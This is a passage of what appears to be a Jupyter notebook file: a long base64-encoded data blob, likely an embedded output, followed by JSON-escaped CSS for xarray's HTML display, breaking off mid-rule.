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--xr-background-color: #111111;\n", " --xr-background-color-row-even: #111111;\n", " --xr-background-color-row-odd: #313131;\n", "}\n", "\n", ".xr-wrap {\n", " display: block !important;\n", " min-width: 300px;\n", " max-width: 700px;\n", "}\n", "\n", ".xr-text-repr-fallback {\n", " /* fallback to plain text repr when CSS is not injected (untrusted notebook) */\n", " display: none;\n", "}\n", "\n", ".xr-header {\n", " padding-top: 